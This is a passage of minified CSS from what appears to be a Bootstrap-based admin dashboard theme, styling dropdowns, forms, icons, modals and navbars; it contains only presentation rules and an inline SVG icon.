input:disabled:checked+.custom-toggle-slider:before{background-color:#1a1a1a}.dropdown,.dropleft,.dropright,.dropup{display:inline-block}.dropdown-menu{min-width:12rem}.dropdown-menu .dropdown-item{font-size:.875rem;padding:.5rem 1rem}.dropdown-menu .dropdown-item>i,.dropdown-menu .dropdown-item>svg{font-size:1rem;margin-right:1rem;vertical-align:-17%}.dropdown-menu .dropdown-item img{margin-right:.5rem}.dropdown-header{font-size:.625rem;font-weight:700;padding-right:1rem;padding-left:1rem;text-transform:uppercase}.dropdown-menu a.media>div:first-child{line-height:1}.dropdown-menu a.media p{color:#8898aa}.dropdown-menu a.media:hover .heading,.dropdown-menu a.media:hover p{color:#172b4d!important}.dropdown-menu-dark .h1,.dropdown-menu-dark .h2,.dropdown-menu-dark .h3,.dropdown-menu-dark .h4,.dropdown-menu-dark .h5,.dropdown-menu-dark .h6,.dropdown-menu-dark a{color:#fff}.dropdown-menu-sm{min-width:100px;border:.4375rem}.dropdown-menu-lg{min-width:320px;border-radius:.4375rem}.dropdown-menu-xl{min-width:420px;border-radius:.4375rem}.footer{padding:30px 0;background:#f8f9fe}.footer .col-footer .heading{font-size:.875rem;font-weight:600;margin-bottom:1rem;letter-spacing:0;text-transform:uppercase;color:#8898aa}.footer .footer-link,.footer .nav .nav-item .nav-link{color:#8898aa!important}.footer .footer-link:hover,.footer .nav .nav-item .nav-link:hover{color:#525f7f!important}.footer .list-unstyled li a{font-size:.85rem;display:inline-block;padding:.125rem 0;color:#8898aa}.footer .list-unstyled li a:hover{color:#525f7f}.footer .copyright{font-size:.875rem}.footer-dark .col-footer .heading{color:#fff}.nav-footer .nav-link{font-size:.875rem}.nav-footer .nav-item:last-child .nav-link{padding-right:0}.footer.has-cards{position:relative;overflow:hidden;margin-top:-420px;padding-top:500px;pointer-events:none;background:0 0}.footer.has-cards:before{position:absolute;top:600px;right:0;left:0;height:2000px;content:'';transform:skew(0,-8deg);background:#f7fafc}.footer.has-cards .container{position:relative;pointer-events:auto}.footer-auto-bottom{position:absolute;bottom:0;width:100%}.form-control-label{font-size:.875rem;font-weight:600;color:#525f7f}.form-control{font-size:.875rem;height:calc(1.5em + 1.25rem + 5px);transition:all .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-control{transition:none}}.form-control:focus::-ms-input-placeholder{color:#adb5bd}.form-control:focus::placeholder{color:#adb5bd}.form-control-lg{height:calc(2.25em + 1.25rem + 5px)}.form-control-sm{height:calc(.45em + 1.25rem + 5px)}.form-control-flush{padding:0;border-width:0;background-color:transparent;box-shadow:none}.form-control-flush:focus{border-width:0;background-color:transparent;box-shadow:none}textarea[resize=none]{resize:none!important}textarea[resize=both]{resize:both!important}textarea[resize=vertical]{resize:vertical!important}textarea[resize=horizontal]{resize:horizontal!important}.form-control-muted{border-color:#f7fafe;background-color:#f7fafe;box-shadow:none}.form-control-muted:focus{background-color:#fcfdff}.form-control-alternative{transition:box-shadow .15s ease;border:0;box-shadow:0 1px 3px rgba(50,50,93,.15),0 1px 0 rgba(0,0,0,.02)}.form-control-alternative:focus{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)}.form-control-lg,.input-group-lg .form-control,.input-group-text{font-size:1rem!important}.custom-control{padding-left:1.75rem}.input-group{transition:all .15s ease-in-out;border-radius:.25rem;box-shadow:0 3px 2px rgba(233,236,239,.05)}@media (prefers-reduced-motion:reduce){.input-group{transition:none}}.input-group .form-control{box-shadow:none}.input-group .form-control:focus{box-shadow:none}.input-group-text{transition:all .15s cubic-bezier(.68,-.55,.265,1.55)}@media (prefers-reduced-motion:reduce){.input-group-text{transition:none}}.input-group-text i{font-size:.875rem}.input-group-text .custom-control{line-height:1}.input-group-prepend .input-group-text{border-right:0}.input-group-append .input-group-text{border-left:0}.input-group-merge .form-control:not(:first-child){padding-left:0;border-left:0}.input-group-merge .form-control:not(:last-child){padding-right:0;border-right:0}.input-group-alternative{transition:box-shadow .15s ease;border:0;box-shadow:0 1px 3px rgba(50,50,93,.15),0 1px 0 rgba(0,0,0,.02)}.input-group-alternative .form-control,.input-group-alternative .input-group-text{border:0;box-shadow:none}.focused .input-group-alternative{box-shadow:0 4px 6px rgba(50,50,93,.11),0 1px 3px rgba(0,0,0,.08)!important}.input-group-flush{box-shadow:none}.input-group-flush>.form-control{padding:0;border-width:0;background-color:transparent}.input-group-flush>.input-group-append>.input-group-text,.input-group-flush>.input-group-prepend>.input-group-text{padding:0;padding-right:1rem;border-width:0;background-color:transparent}.focused .input-group{box-shadow:0 3px 9px rgba(50,50,9,0),3px 4px 8px rgba(94,114,228,.1)}.focused .input-group-text{color:#8898aa;border-color:#5e72e4;background-color:#fff}.focused .form-control{border-color:#5e72e4}.focused .input-group-flush{box-shadow:none}.form-primary .form-control{color:#fff;border-color:#324cdd;background-color:rgba(50,76,221,.5)}.form-primary .form-control:focus{border:1px solid #2a44db;background-color:rgba(42,68,219,.7)}.form-primary .form-control::-ms-input-placeholder{color:rgba(255,255,255,.8)}.form-primary .form-control::placeholder{color:rgba(255,255,255,.8)}.form-primary .input-group-text{color:#fff;border-color:#324cdd;background-color:rgba(50,76,221,.5)}.form-primary .focused .input-group-text{color:#fff;border-color:#2a44db;background-color:rgba(42,68,219,.7)}.has-danger,.has-success{position:relative}.has-danger:after,.has-success:after{font-family:NucleoIcons;font-size:9px;line-height:19px;position:absolute;top:50%;right:15px;display:none;width:19px;height:19px;transform:translateY(-50%);text-align:center;opacity:1;border-radius:50%}.has-danger .input-group-prepend .input-group-text,.has-success .input-group-prepend .input-group-text{border-color:red}.has-success:after{content:'\ea26';color:#1d8357;background-color:#69deac}.has-success .form-control{background-color:#fff}.has-success .form-control::-ms-input-placeholder{color:#2dce89}.has-success .form-control::placeholder{color:#2dce89}.has-danger:after{content:'\ea53';color:#db2d05;background-color:#fda08b}.has-danger .form-control{background-color:#fff}.has-danger .form-control::-ms-input-placeholder{color:#fb6340}.has-danger .form-control::placeholder{color:#fb6340}.row-example>.col span,.row-example>[class^=col-] span{font-size:.875rem;display:block;margin:1rem 0;padding:.75rem;color:#393f49;border-radius:.25rem;background-color:#fff;box-shadow:rgba(0,0,0,.1) 0 0 0 1px,rgba(0,0,0,.1) 0 4px 16px}.no-gutters>.col span,.no-gutters>[class^=col-] span{border-radius:0}.header{position:relative}.icon{width:3rem;height:3rem}.icon i,.icon svg{font-size:2.25rem}.icon+.icon-text{width:calc(100% - 3rem - 1);padding-left:1rem}.icon-xl{width:5rem;height:5rem}.icon-xl i,.icon-xl svg{font-size:4.25rem}.icon-xl+.icon-text{width:calc(100% - 5rem - 1)}.icon-lg{width:4rem;height:4rem}.icon-lg i,.icon-lg svg{font-size:3.25rem}.icon-lg+.icon-text{width:calc(100% - $icon-size-lg - 1)}.icon-sm{width:2rem;height:2rem}.icon-sm i,.icon-sm svg{font-size:1.25rem}.icon-sm+.icon-text{width:calc(100% - $icon-size-sm - 1)}.icon-xs{width:1.25rem;height:1.25rem}.icon-xs i,.icon-xs svg{font-size:.5rem}.icon-xs+.icon-text{width:calc(100% - $icon-size-xs - 1)}.icon-actions>a{font-size:.875rem;display:inline-block;margin-right:.75rem;color:#8898aa}.icon-actions>a:last-of-type{margin-right:0}.icon-actions>a span{font-weight:600;margin-left:.1875rem;color:#8898aa}.icon-actions>a:hover span{color:#6a7e95}.icon-actions>a,.icon-actions>a.active,.icon-actions>a:hover{color:#32325d}.icon-actions>.favorite.active,.icon-actions>.favorite:hover{color:#ffd600}.icon-actions>.love.active,.icon-actions>.love:hover{color:#f5365c}.icon-actions>.like.active,.icon-actions>.like:hover{color:#5e72e4}.icon-actions-lg a{font-size:1.25rem;margin-right:.875rem}.icon-shape{display:inline-flex;padding:12px;text-align:center;border-radius:50%;align-items:center;justify-content:center}.icon-shape i,.icon-shape svg{font-size:1.25rem}.icon-shape.icon-lg i,.icon-shape.icon-lg svg{font-size:1.625rem}.icon-shape.icon-sm i,.icon-shape.icon-sm svg{font-size:.875rem}.icon-shape.icon-xs i,.icon-shape.icon-xs svg{font-size:.6rem}.icon-shape svg{width:30px;height:30px}.icon-shape-primary{color:#2643e9;background-color:rgba(138,152,235,.5)}.icon-shape-secondary{color:#cfe3f1;background-color:rgba(255,255,255,.5)}.icon-shape-success{color:#1aae6f;background-color:rgba(84,218,161,.5)}.icon-shape-info{color:#03acca;background-color:rgba(65,215,242,.5)}.icon-shape-warning{color:#ff3709;background-color:rgba(252,140,114,.5)}.icon-shape-danger{color:#f80031;background-color:rgba(247,103,131,.5)}.icon-shape-light{color:#879cb0;background-color:rgba(201,207,212,.5)}.icon-shape-dark{color:#090c0e;background-color:rgba(56,63,69,.5)}.icon-shape-default{color:#091428;background-color:rgba(35,65,116,.5)}.icon-shape-white{color:#e8e3e3;background-color:rgba(255,255,255,.5)}.icon-shape-neutral{color:#e8e3e3;background-color:rgba(255,255,255,.5)}.icon-shape-darker{color:#000;background-color:rgba(26,26,26,.5)}.list-group-space .list-group-item{margin-bottom:1.5rem;border-radius:.375rem}.list-group-img{width:3rem;height:3rem;margin:-.1rem 1.2rem 0 -.2rem;vertical-align:top;border-radius:50%}.list-group-content{min-width:0;flex:1 1}.list-group-content>p{line-height:1.5;margin:.2rem 0 0;color:#adb5bd}.list-group-heading{font-size:1rem;color:#32325d}.list-group-heading>small{font-weight:500;float:right;color:#adb5bd}.checklist-item{position:relative;display:flex;padding-left:.75rem;justify-content:space-between;align-items:center}.checklist-item:before{position:absolute;top:0;left:0;width:3px;height:100%;content:'';border-radius:8px;background-color:#5e72e4}.checklist-item-checked .checklist-info *{text-decoration:line-through}.checklist-item-primary:before{background-color:#5e72e4}.checklist-item-secondary:before{background-color:#f7fafc}.checklist-item-success:before{background-color:#2dce89}.checklist-item-info:before{background-color:#11cdef}.checklist-item-warning:before{background-color:#fb6340}.checklist-item-danger:before{background-color:#f5365c}.checklist-item-light:before{background-color:#adb5bd}.checklist-item-dark:before{background-color:#212529}.checklist-item-default:before{background-color:#172b4d}.checklist-item-white:before{background-color:#fff}.checklist-item-neutral:before{background-color:#fff}.checklist-item-darker:before{background-color:#000}.map-canvas{position:relative;width:100%;height:500px;border-radius:.375rem}.mask{position:absolute;top:0;left:0;width:100%;height:100%;transition:all .15s ease}@media (prefers-reduced-motion:reduce){.mask{transition:none}}.backdrop{position:fixed;z-index:1040;top:0;left:0;width:100%;height:100%;cursor:pointer}.backdrop-dark{background:rgba(0,0,0,.3)}.backdrop-light{background:rgba(255,255,255,.3)}.media-comment{margin-top:2rem}.media-comment-avatar{position:relative;z-index:1;margin-top:-1rem;margin-right:-2rem;transition:all .15s ease;border:4px solid #fff}@media (prefers-reduced-motion:reduce){.media-comment-avatar{transition:none}}.media-comment-text{position:relative;padding:1rem 1.25rem 1rem 2.5rem;border-radius:.4375rem;border-top-left-radius:0;background-color:#f6f9fc}.media-comment:hover .media-comment-avatar{transform:scale(1.1)}.modal-title{font-size:1.0625rem}.modal-fluid .modal-dialog{margin-top:0;margin-bottom:0}.modal-fluid .modal-content{border-radius:0}.modal-primary .modal-title{color:#fff}.modal-primary .modal-footer,.modal-primary .modal-header{border-color:rgba(255,255,255,.075)}.modal-primary .modal-content{color:#fff;background-color:#5e72e4}.modal-primary .modal-content .heading{color:#fff}.modal-primary .close>span:not(.sr-only){color:#fff}.modal-secondary .modal-title{color:#212529}.modal-secondary .modal-footer,.modal-secondary .modal-header{border-color:rgba(33,37,41,.075)}.modal-secondary .modal-content{color:#212529;background-color:#f7fafc}.modal-secondary .modal-content .heading{color:#212529}.modal-secondary .close>span:not(.sr-only){color:#fff}.modal-success .modal-title{color:#fff}.modal-success .modal-footer,.modal-success .modal-header{border-color:rgba(255,255,255,.075)}.modal-success .modal-content{color:#fff;background-color:#2dce89}.modal-success .modal-content .heading{color:#fff}.modal-success .close>span:not(.sr-only){color:#fff}.modal-info .modal-title{color:#fff}.modal-info .modal-footer,.modal-info .modal-header{border-color:rgba(255,255,255,.075)}.modal-info .modal-content{color:#fff;background-color:#11cdef}.modal-info .modal-content .heading{color:#fff}.modal-info .close>span:not(.sr-only){color:#fff}.modal-warning .modal-title{color:#fff}.modal-warning .modal-footer,.modal-warning .modal-header{border-color:rgba(255,255,255,.075)}.modal-warning .modal-content{color:#fff;background-color:#fb6340}.modal-warning .modal-content .heading{color:#fff}.modal-warning .close>span:not(.sr-only){color:#fff}.modal-danger .modal-title{color:#fff}.modal-danger .modal-footer,.modal-danger .modal-header{border-color:rgba(255,255,255,.075)}.modal-danger .modal-content{color:#fff;background-color:#f5365c}.modal-danger .modal-content .heading{color:#fff}.modal-danger .close>span:not(.sr-only){color:#fff}.modal-light .modal-title{color:#fff}.modal-light .modal-footer,.modal-light .modal-header{border-color:rgba(255,255,255,.075)}.modal-light .modal-content{color:#fff;background-color:#adb5bd}.modal-light .modal-content .heading{color:#fff}.modal-light .close>span:not(.sr-only){color:#fff}.modal-dark .modal-title{color:#fff}.modal-dark .modal-footer,.modal-dark .modal-header{border-color:rgba(255,255,255,.075)}.modal-dark .modal-content{color:#fff;background-color:#212529}.modal-dark .modal-content .heading{color:#fff}.modal-dark .close>span:not(.sr-only){color:#fff}.modal-default .modal-title{color:#fff}.modal-default .modal-footer,.modal-default .modal-header{border-color:rgba(255,255,255,.075)}.modal-default .modal-content{color:#fff;background-color:#172b4d}.modal-default .modal-content .heading{color:#fff}.modal-default .close>span:not(.sr-only){color:#fff}.modal-white .modal-title{color:#212529}.modal-white .modal-footer,.modal-white .modal-header{border-color:rgba(33,37,41,.075)}.modal-white .modal-content{color:#212529;background-color:#fff}.modal-white .modal-content .heading{color:#212529}.modal-white .close>span:not(.sr-only){color:#fff}.modal-neutral .modal-title{color:#212529}.modal-neutral .modal-footer,.modal-neutral .modal-header{border-color:rgba(33,37,41,.075)}.modal-neutral .modal-content{color:#212529;background-color:#fff}.modal-neutral .modal-content .heading{color:#212529}.modal-neutral .close>span:not(.sr-only){color:#fff}.modal-darker .modal-title{color:#fff}.modal-darker .modal-footer,.modal-darker .modal-header{border-color:rgba(255,255,255,.075)}.modal-darker .modal-content{color:#fff;background-color:#000}.modal-darker .modal-content .heading{color:#fff}.modal-darker .close>span:not(.sr-only){color:#fff}.navbar-horizontal .navbar-nav .nav-link{font-size:.875rem;font-weight:500;letter-spacing:0;text-transform:normal}.navbar-horizontal .navbar-nav .nav-link .nav-link-inner--text{margin-left:.25rem}.navbar-horizontal .navbar-brand{font-size:.875rem;font-size:.875rem;font-weight:600;letter-spacing:.05px;text-transform:uppercase}.navbar-horizontal .navbar-brand img{height:30px}.navbar-horizontal .navbar-dark .navbar-brand{color:#fff}.navbar-horizontal .navbar-light .navbar-brand{color:#32325d}.navbar-horizontal .navbar-nav .nav-item .media:not(:last-child){margin-bottom:1.5rem}@media (min-width:992px){.navbar-horizontal .navbar-nav .nav-item{margin-right:.5rem}.navbar-horizontal .navbar-nav .nav-item [data-toggle=dropdown]::after{transition:all .15s ease}.navbar-horizontal .navbar-nav .nav-item.show [data-toggle=dropdown]::after{transform:rotate(180deg)}.navbar-horizontal .navbar-nav .nav-link{padding-top:1rem;padding-bottom:1rem;border-radius:.375rem}.navbar-horizontal .navbar-nav .nav-link i{margin-right:.625rem}.navbar-horizontal .navbar-nav .nav-link-icon{font-size:1rem;padding-right:.5rem!important;padding-left:.5rem!important;border-radius:.375rem}.navbar-horizontal .navbar-nav .nav-link-icon i{margin-right:0}.navbar-horizontal .navbar-nav .dropdown-menu{margin:0;pointer-events:none;opacity:0}.navbar-horizontal .navbar-nav .dropdown-menu:before{position:absolute;z-index:-5;bottom:100%;left:20px;display:block;width:16px;height:16px;content:'';transform:rotate(-45deg) translateY(1rem);border-radius:.25rem;background:#fff;box-shadow:none}.navbar-horizontal .navbar-nav .dropdown-menu-right:before{right:20px;left:auto}.navbar-horizontal .navbar-nav:not(.navbar-nav-hover) .dropdown-menu.show{animation:show-navbar-dropdown .25s ease forwards;pointer-events:auto;opacity:1}.navbar-horizontal .navbar-nav:not(.navbar-nav-hover) .dropdown-menu.close{display:block;animation:hide-navbar-dropdown .15s ease backwards}.navbar-horizontal .navbar-nav.navbar-nav-hover .dropdown-menu{display:block;transition:visibility .25s,opacity .25s,transform .25s;transform:translate(0,10px) perspective(200px) rotateX(-2deg);pointer-events:none;opacity:0}.navbar-horizontal .navbar-nav.navbar-nav-hover .nav-item.dropdown:hover>.dropdown-menu{display:block;visibility:visible;transform:translate(0,0);animation:none;pointer-events:auto;opacity:1}.navbar-horizontal .navbar-nav .dropdown-menu-inner{position:relative;padding:1rem}}.navbar-horizontal.navbar-transparent{position:absolute;z-index:100;top:0;width:100%;border:0;background-color:transparent;box-shadow:none}.navbar-horizontal.navbar-transparent .navbar-brand{color:#fff}.navbar-horizontal.navbar-transparent .navbar-toggler{color:#fff}.navbar-horizontal.navbar-transparent .navbar-toggler-icon{background-image:url('data:image/svg+xml,%3csvg viewBox=\'0 0 30 30\' xmlns=\'http://www.w3.org/2000/svg\'%3e%3cpath stroke=\'rgba(255, 255, 255, 0.95)\' stroke-width=\'2\' stroke-linecap=\'round\' stroke-miterlimit=\'10\' d=\'M4 7h22M4 15h22M4 23h22\'/%3e%3c/svg%3e')}@media (min-width:768px){.navbar-horizontal.navbar-transparent .navbar-nav .nav-link{color:rgba(255,255,255,.95)}.navbar-horizontal.navbar-transparent .navbar-nav .nav-link:focus,.navbar-horizontal.navbar-transparent .navbar-nav .nav-link:hover{color:rgba(255,255,255,.65)}.navbar-horizontal.navbar-transparent .navbar-nav .nav-link.disabled{color:rgba(255,255,255,.25)}.navbar-horizontal.navbar-transparent .navbar-nav .active>.nav-link,.navbar-horizontal.navbar-transparent .navbar-nav .nav-link.active,.navbar-horizontal.navbar-transparent .navbar-nav .nav-link.show,.navbar-horizontal.navbar-transparent .navbar-nav .show>.nav-link{color:rgba(255,255,255,.65)}.navbar-horizontal.navbar-transparent .navbar-brand{color:rgba(255,255,255,.95)}.navbar-horizontal.navbar-transparent .navbar-brand:focus,.navbar-horizontal.navbar-transparent .navbar-brand:hover{color:rgba(255,255,255,.95)}}.navbar-horizontal .navbar-collapse-header{display:none}@media (max-width:991.98px){.navbar-horizontal .navbar-nav .nav-link{padding:.625rem 0;color:#172b4d!important}.navbar-horizontal .navbar-nav .dropdown-menu{min-width:auto;box-shadow:none}.navbar-horizontal .navbar-nav .dropdown-menu .media svg{width:30px}.navbar-horizontal .navbar-collapse{position:absolute;z-index:1050;top:0;right:0;left:0;overflow-y:auto;width:calc(100% - 1.4rem);height:auto!important;margin:.7rem;opacity:0}.navbar-horizontal .navbar-collapse .navbar-toggler{position:relative;display:inline-block;width:20px;height:20px;padding:0;cursor:pointer}.navbar-horizontal .navbar-collapse .navbar-toggler span{position:absolute;display:block;width:100%;height:2px;opacity:1;border-radius:2px;background:#283448}.navbar-horizontal .navbar-collapse .navbar-toggler :nth-child(1){transform:rotate(135deg)}.navbar-horizontal .navbar-collapse .navbar-toggler :nth-child(2){transform:rotate(-135deg)}.navbar-horizontal .navbar-collapse .navbar-collapse-header{display:block;margin-bottom:1rem;padding-bottom:1rem;border-bottom:1px solid rgba(0,0,0,.1)}.navbar-horizontal .navbar-collapse .collapse-brand img{height:36px}.navbar-horizontal .navbar-collapse .collapse-close{text-align:right}.navbar-horizontal .navbar-collapse.collapsing,.navbar-horizontal .navbar-collapse.show{padding:1.5rem;animation:show-navbar-collapse .2s ease forwards;border-radius:.375rem;background:#fff;box-shadow:0 50px 100px rgba(50,50,93,.1),0 15px 35px rgba(50,50,93,.15),0 5px 15px rgba(0,0,0,.1)}.navbar-horizontal .navbar-collapse.collapsing-out{animation:hide-navbar-collapse .2s ease forwards}}@keyframes show-navbar-collapse{0%{transform:scale(.95);transform-origin:100% 0;opacity:0}100%{transform:scale(1);opacity:1}}@keyframes hide-navbar-collapse{from{transform:scale(1);transform-origin:100% 0;opacity:1}to{transform:scale(.95);opacity:0}}@keyframes show-navbar-dropdown{0%{transition:visibility .25s,opacity .25s,transform .25s;transform:translate(0,10px) perspective(200px) rotateX(-2deg);opacity:0}100%{transform:translate(0,0);opacity:1}}@keyframes hide-navbar-dropdown{from{opacity:1}to{transform:translate(0,10px);opacity:0}}.navbar-floating-wrapper{position:absolute;z-index:1;top:0;left:0;width:100%;padding-top:1rem;padding-bottom:1rem}.navbar-floating-wrapper .navbar{border-radius:.375rem}.navbar-vertical{padding-top:0;border-width:0 0 1px 0;border-style:solid;box-shadow:0 0 2rem 0 rgba(136,152,170,.15)}.navbar-vertical.navbar-light{border-color:rgba(0,0,0,.05);background-color:#f6f9fc}.navbar-vertical.navbar-dark{border-color:rgba(255,255,255,.1);background-color:transparent}.navbar-vertical .navbar-brand{margin-right:0}.navbar-vertical .navbar-brand-img,.navbar-vertical .navbar-brand>img{max-width:100%;max-height:2rem}@media (min-width:768px){.navbar-vertical .navbar-collapse{margin-right:-1rem;margin-left:-1rem}.navbar-vertical .navbar-collapse:before{display:block;margin:.5rem;content:''}}.navbar-vertical .navbar-nav{margin-right:-1rem;margin-left:-1rem}.navbar-vertical .navbar-nav .nav-link{font-size:.875rem;font-weight:500;padding-right:1rem;padding-left:1rem}.navbar-vertical .navbar-nav .nav-link.active{position:relative}.navbar-vertical .navbar-nav .nav-link>i{font-size:.9375rem;line-height:1.5rem;min-width:2rem}.navbar-vertical .navbar-nav .nav-link .dropdown-menu{border:none}.navbar-vertical .navbar-nav .nav-link .dropdown-menu .dropdown-menu{margin-left:.5rem}.navbar-vertical .navbar-nav .nav-sm .nav-link{font-size:.8125rem}.navbar-vertical .navbar-nav .nav-link{display:flex;align-items:center}.navbar-vertical .navbar-nav .nav-link[data-toggle=collapse]:after{font-family:'Font Awesome 5 Free';font-weight:700;font-style:normal;font-variant:normal;display:inline-block;margin-left:auto;content:'\f105';transition:all .15s ease;color:#ced4da;text-rendering:auto;-webkit-font-smoothing:antialiased}@media (prefers-reduced-motion:reduce){.navbar-vertical .navbar-nav .nav-link[data-toggle=collapse]:after{transition:none}}.navbar-vertical .navbar-nav .nav-link[data-toggle=collapse][aria-expanded=true]:after{transform:rotate(90deg);color:#5e72e4}.navbar-vertical .navbar-nav .nav .nav-link{padding-left:3rem}.navbar-vertical .navbar-nav .nav .nav .nav-link{padding-left:3.5rem}.navbar-vertical .navbar-heading{font-size:.75rem;padding-top:.25rem;padding-bottom:.25rem;letter-spacing:.04em;text-transform:uppercase}.navbar-vertical.navbar-expand-xs{position:fixed;top:0;bottom:0;display:block;overflow-y:auto;width:100%;max-width:62px;padding-right:0;padding-left:0}.navbar-vertical.navbar-expand-xs .navbar-inner{padding-right:1.5rem;padding-left:1.5rem}.navbar-vertical.navbar-expand-xs>[class*=container]{flex-direction:column;min-height:100%;padding-right:0;padding-left:0;align-items:stretch}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.navbar-vertical.navbar-expand-xs>[class*=container]{height:100%;min-height:none}}.navbar-vertical.navbar-expand-xs.fixed-left{left:0;border-width:0 1px 0 0}.navbar-vertical.navbar-expand-xs.fixed-right{right:0;border-width:0 0 0 1px}.navbar-vertical.navbar-expand-xs .navbar-collapse{display:flex;flex-direction:column;margin-right:-1.5rem;margin-left:-1.5rem;padding-right:1.5rem;padding-left:1.5rem;flex:1 1;align-items:stretch}.navbar-vertical.navbar-expand-xs .navbar-collapse>*{min-width:100%}.navbar-vertical.navbar-expand-xs .navbar-nav{flex-direction:column;margin-right:-1.5rem;margin-left:-1.5rem}.navbar-vertical.navbar-expand-xs .navbar-nav .nav-link{padding:.675rem 1.5rem}.navbar-vertical.navbar-expand-xs .navbar-nav>.nav-item{margin-top:2px}.navbar-vertical.navbar-expand-xs .navbar-nav>.nav-item>.nav-link.active{margin-right:.5rem;margin-left:.5rem;padding-right:1rem;padding-left:1rem;border-radius:.375rem;background:#f6f9fc}.navbar-vertical.navbar-expand-xs .lavalamp-object{width:calc(100% - 1rem)!important;margin-right:.5rem;margin-left:.5rem;padding-right:1rem;padding-left:1rem;color:#fff;border-radius:.375rem;background:#5e72e4}.navbar-vertical.navbar-expand-xs .navbar-nav .nav .nav-link{padding-top:.45rem;padding-bottom:.45rem;padding-left:3.5rem}.navbar-vertical.navbar-expand-xs .navbar-nav .nav .nav .nav-link{padding-left:4.25rem}@media (min-width:576px){.navbar-vertical.navbar-expand-sm{position:fixed;top:0;bottom:0;display:block;overflow-y:auto;width:100%;max-width:62px;padding-right:0;padding-left:0}.navbar-vertical.navbar-expand-sm .navbar-inner{padding-right:1.5rem;padding-left:1.5rem}.navbar-vertical.navbar-expand-sm>[class*=container]{flex-direction:column;min-height:100%;padding-right:0;padding-left:0;align-items:stretch}}@media all and (min-width:576px) and (-ms-high-contrast:none),(min-width:576px) and (-ms-high-contrast:active){.navbar-vertical.navbar-expand-sm>[class*=container]{height:100%;min-height:none}}@media (min-width:576px){.navbar-vertical.navbar-expand-sm.fixed-left{left:0;border-width:0 1px 0 0}.navbar-vertical.navbar-expand-sm.fixed-right{right:0;border-width:0 0 0 1px}.navbar-vertical.navbar-expand-sm .navbar-collapse{display:flex;flex-direction:column;margin-right:-1.5rem;margin-left:-1.5rem;padding-right:1.5rem;padding-left:1.5rem;flex:1 1;align-items:stretch}.navbar-vertical.navbar-expand-sm .navbar-collapse>*{min-width:100%}.navbar-vertical.navbar-expand-sm .navbar-nav{flex-direction:column;margin-right:-1.5rem;margin-left:-1.5rem}.navbar-vertical.navbar-expand-sm .navbar-nav .nav-link{padding:.675rem 1.5rem}.navbar-vertical.navbar-expand-sm .navbar-nav>.nav-item{margin-top:2px}.navbar-vertical.navbar-expand-sm .navbar-nav>.nav-item>.nav-link.active{margin-right:.5rem;margin-left:.5rem;padding-right:1rem;padding-left:1rem;border-radius:.375rem;background:#f6f9fc}.navbar-vertical.navbar-expand-sm .lavalamp-object{width:calc(100% - 1rem)!important;margin-right:.5rem;margin-left:.5rem;padding-right:1rem;padding-left:1rem;color:#fff;border-radius:.375rem;background:#5e72e4}.navbar-vertical.navbar-expand-sm .navbar-nav .nav .nav-link{padding-top:.45rem;padding-bottom:.45rem;padding-left:3.5rem}.navbar-vertical.navbar-expand-sm .navbar-nav .nav .nav .nav-link{padding-left:4.25rem}}@media (min-width:768px){.navbar-vertical.navbar-expand-md{position:fixed;top:0;bottom:0;display:block;overflow-y:auto;width:100%;max-width:62px;padding-right:0;padding-left:0}.navbar-vertical.navbar-expand-md .navbar-inner{padding-right:1.5rem;padding-left:1.5rem}.navbar-vertical.navbar-expand-md>[class*=container]{flex-direction:column;min-height:100%;padding-right:0;padding-left:0;align-items:stretch}}@media all and (min-width:768px) and (-ms-high-contrast:none),(min-width:768px) and (-ms-high-contrast:active){.navbar-vertical.navbar-expand-md>[class*=container]{height:100%;min-height:none}}@media (min-width:768px){.navbar-vertical.navbar-expand-md.fixed-left{left:0;border-width:0 1px 0 0}.navbar-vertical.navbar-expand-md.fixed-right{right:0;border-width:0 0 0 1px}.navbar-vertical.navbar-expand-md .navbar-collapse{display:flex;flex-direction:column;margin-right:-1.5rem;margin-left:-1.5rem;padding-right:1.5rem;padding-left:1.5rem;flex:1 1;align-items:stretch}.navbar-vertical.navbar-expand-md .navbar-collapse>*{min-width:100%}.navbar-vertical.navbar-expand-md .navbar-nav{flex-direction:column;margin-right:-1.5rem;margin-left:-1.5rem}.navbar-vertical.navbar-expand-md .navbar-nav .nav-link{padding:.675rem 1.5rem}.navbar-vertical.navbar-expand-md .navbar-nav>.nav-item{margin-top:2px}.navbar-vertical.navbar-expand-md .navbar-nav>.nav-item>.nav-link.active{margin-right:.5rem;margin-left:.5rem;padding-right:1rem;padding-left:1rem;border-radius:.375rem;background:#f6f9fc}.navbar-vertical.navbar-expand-md .lavalamp-object{width:calc(100% - 1rem)!important;margin-right:.5rem;margin-left:.5rem;padding-right:1rem;padding-left:1rem;color:#fff;border-radius:.375rem;background:#5e72e4}.navbar-vertical.navbar-expand-md .navbar-nav .nav .nav-link{padding-top:.45rem;padding-bottom:.45rem;padding-left:3.5rem}.navbar-vertical.navbar-expand-md .navbar-nav .nav .nav .nav-link{padding-left:4.25rem}}@media (min-width:992px){.navbar-vertical.navbar-expand-lg{position:fixed;top:0;bottom:0;display:block;overflow-y:auto;width:100%;max-width:62px;padding-right:0;padding-left:0}.navbar-vertical.navbar-expand-lg .navbar-inner{padding-right:1.5rem;padding-left:1.5rem}.navbar-vertical.navbar-expand-lg>[class*=container]{flex-direction:column;min-height:100%;padding-right:0;padding-left:0;align-items:stretch}}@media all and (min-width:992px) and (-ms-high-contrast:none),(min-width:992px) and (-ms-high-contrast:active){.navbar-vertical.navbar-expand-lg>[class*=container]{height:100%;min-height:none}}@media (min-width:992px){.navbar-vertical.navbar-expand-lg.fixed-left{left:0;border-width:0 1px 0 0}.navbar-vertical.navbar-expand-lg.fixed-right{right:0;border-width:0 0 0 1px}.navbar-vertical.navbar-expand-lg .navbar-collapse{display:flex;flex-direction:column;margin-right:-1.5rem;margin-left:-1.5rem;padding-right:1.5rem;padding-left:1.5rem;flex:1 1;align-items:stretch}.navbar-vertical.navbar-expand-lg .navbar-collapse>*{min-width:100%}.navbar-vertical.navbar-expand-lg .navbar-nav{flex-direction:column;margin-right:-1.5rem;margin-left:-1.5rem}.navbar-vertical.navbar-expand-lg .navbar-nav .nav-link{padding:.675rem 1.5rem}.navbar-vertical.navbar-expand-lg .navbar-nav>.nav-item{margin-top:2px}.navbar-vertical.navbar-expand-lg .navbar-nav>.nav-item>.nav-link.active{margin-right:.5rem;margin-left:.5rem;padding-right:1rem;padding-left:1rem;border-radius:.375rem;background:#f6f9fc}.navbar-vertical.navbar-expand-lg .lavalamp-object{width:calc(100% - 